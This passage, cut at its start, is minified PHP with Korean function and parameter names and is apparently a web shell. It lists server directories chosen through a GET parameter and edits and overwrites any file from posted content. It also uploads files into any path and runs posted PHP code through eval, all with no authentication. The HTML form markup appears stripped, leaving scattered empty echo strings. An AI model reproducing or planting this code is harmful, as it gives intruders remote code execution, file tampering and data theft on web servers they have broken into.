$k){if($k===''&&$j===0){$h[]='/';continue;}if($k==='')continue;$h[]='/';}return implode('',$h);}function 내용보기($f){$m=@scandir($f)?:[];$n=[];$o=[];foreach($m as $p){if($p==='.'||$p==='..')continue;$q=$f.'/'.$p;if(@is_dir($q)){$n[]='
  • 폴더: '.$p.'
  • ';}else{$r=@filesize($q);$s=($r===false||$r===0)?'0 B':파일크기($r);$o[]='
  • 파일: '.$p.' ('.$s.')
  • ';}}echo '';}function 파일편집($t){if($_SERVER['REQUEST_METHOD']==='POST'&&isset($_POST['내용'])){$u=$_POST['내용'];if(@file_put_contents($t,$u)!==false){echo "파일 저장 성공.";}else{echo "실패.";}}$u=@file_get_contents($t)?:'';echo '
    ';echo '
    ';echo '';echo '
    ';}function 파일업로드($f,$v){$w=$f.'/'.basename($v['name']);if(@move_uploaded_file($v['tmp_name'],$w)){echo "성공: ".htmlspecialchars($v['name']);}else{echo "실패.";}}function PHP실행($x){try{ob_start();eval($x);$y=ob_get_clean();echo '
    '.htmlspecialchars($y).'
    ';}catch(Throwable $z){echo "오류: ".htmlspecialchars($z->getMessage());}}$f=$_GET['경로']??getcwd();if(isset($_GET['작업'])&&$_GET['작업']==='편집'&&isset($_GET['파일'])){$v=$_GET['파일'];$t=$f.'/'.$v;if(@file_exists($t)){echo"

    파일: $v

    ";파일편집($t);}else{echo " 않습니다.";}}else{echo "

    경로: ".htmlspecialchars($f)."

    ";echo "

    ".탐색($f)."

    ";echo "

    내용:

    ";내용보기($f);echo '
    ';echo '

    업로드:

    ';echo '
    ';echo '
    ';echo '';echo '
    ';echo '

    PHP 실행:

    ';echo '
    ';echo '
    ';echo '';echo '
    ';}if($_SERVER['REQUEST_METHOD']==='POST'&&isset($_FILES['파일'])){파일업로드($f,$_FILES['파일']);}if($_SERVER['REQUEST_METHOD']==='POST'&&isset($_POST['PHP코드'])){echo '

    결과:

    ';PHP실행($_POST['PHP코드']);}?>